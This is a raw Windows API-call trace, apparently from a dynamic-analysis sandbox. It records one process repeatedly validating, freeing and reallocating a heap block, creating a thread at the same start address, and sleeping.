HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.659] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0 [0090.660] Sleep (dwMilliseconds=0x32) [0090.759] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.759] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.759] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0 [0090.760] Sleep (dwMilliseconds=0x32) [0090.852] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.852] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.852] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae0 [0090.858] Sleep (dwMilliseconds=0x32) [0090.968] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.968] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b00 [0090.969] Sleep (dwMilliseconds=0x32) [0091.081] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.081] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.081] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20 [0091.082] Sleep (dwMilliseconds=0x32) [0091.144] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.145] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b40 [0091.145] Sleep (dwMilliseconds=0x32) [0091.312] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.312] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.312] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b88 [0091.313] Sleep (dwMilliseconds=0x32) [0091.456] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.456] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b58 [0091.458] Sleep (dwMilliseconds=0x32) [0091.629] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.629] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.629] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b94 [0091.629] Sleep (dwMilliseconds=0x32) [0091.875] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0091.875] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0091.875] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0091.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba0 [0091.875] Sleep (dwMilliseconds=0x32) [0092.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0092.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0092.016] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0092.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba8 [0092.017] Sleep (dwMilliseconds=0x32) [0092.177] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0092.177] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0092.178] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0092.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bac [0092.178] Sleep (dwMilliseconds=0x32) [0092.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0092.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0092.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0092.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0092.562] Sleep (dwMilliseconds=0x32) [0092.748] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0092.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0092.748] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0092.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0092.749] Sleep (dwMilliseconds=0x32) [0092.888] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0092.888] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0092.889] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0092.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0092.889] Sleep (dwMilliseconds=0x32) [0093.231] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.231] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.232] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0093.232] Sleep (dwMilliseconds=0x32) [0093.365] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.365] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.365] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0093.366] Sleep (dwMilliseconds=0x32) [0093.482] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.482] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.482] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0093.482] Sleep (dwMilliseconds=0x32) [0093.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.615] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.616] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0093.616] Sleep (dwMilliseconds=0x32) [0093.731] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.731] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.731] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0093.732] Sleep (dwMilliseconds=0x32) [0093.856] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.856] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.856] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0093.856] Sleep (dwMilliseconds=0x32) [0093.965] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0093.965] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0093.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0093.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0093.965] Sleep (dwMilliseconds=0x32) [0094.098] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.098] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.098] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0094.098] Sleep (dwMilliseconds=0x32) [0094.201] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.201] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.201] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c10 [0094.201] Sleep (dwMilliseconds=0x32) [0094.329] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.329] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.329] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0094.330] Sleep (dwMilliseconds=0x32) [0094.426] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.426] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.426] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0094.427] Sleep (dwMilliseconds=0x32) [0094.518] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.518] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.518] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0094.518] Sleep (dwMilliseconds=0x32) [0094.997] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0094.997] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0094.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0094.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0094.997] Sleep (dwMilliseconds=0x32) [0095.135] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.135] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.135] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0095.136] Sleep (dwMilliseconds=0x32) [0095.215] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.215] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.215] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0095.216] Sleep (dwMilliseconds=0x32) [0095.308] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.308] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.308] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0095.309] Sleep (dwMilliseconds=0x32) [0095.494] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.494] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.494] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0095.495] Sleep (dwMilliseconds=0x32) [0095.607] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.607] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.607] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0095.607] Sleep (dwMilliseconds=0x32) [0095.746] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.746] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.746] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0095.746] Sleep (dwMilliseconds=0x32) [0095.957] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0095.957] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0095.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0095.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0095.958] Sleep (dwMilliseconds=0x32) [0096.056] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.056] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.056] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0096.057] Sleep (dwMilliseconds=0x32) [0096.289] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.289] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.289] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0096.290] Sleep (dwMilliseconds=0x32) [0096.413] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.413] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.413] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0096.414] Sleep (dwMilliseconds=0x32) [0096.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0096.557] Sleep (dwMilliseconds=0x32) [0096.700] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.700] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.700] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0096.701] Sleep (dwMilliseconds=0x32) [0096.884] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0096.884] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0096.884] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0096.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0096.885] Sleep (dwMilliseconds=0x32) [0097.073] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.073] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.074] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0097.074] Sleep (dwMilliseconds=0x32) [0097.189] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.189] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.189] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0097.190] Sleep (dwMilliseconds=0x32) [0097.274] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.274] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0097.275] Sleep (dwMilliseconds=0x32) [0097.466] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.466] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.466] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0097.466] Sleep (dwMilliseconds=0x32) [0097.588] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.589] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.589] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0097.589] Sleep (dwMilliseconds=0x32) [0097.680] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.680] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.680] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0097.681] Sleep (dwMilliseconds=0x32) [0097.837] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.837] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.837] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0097.838] Sleep (dwMilliseconds=0x32) [0097.958] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0097.958] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0097.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0097.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0097.959] Sleep (dwMilliseconds=0x32) [0098.074] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 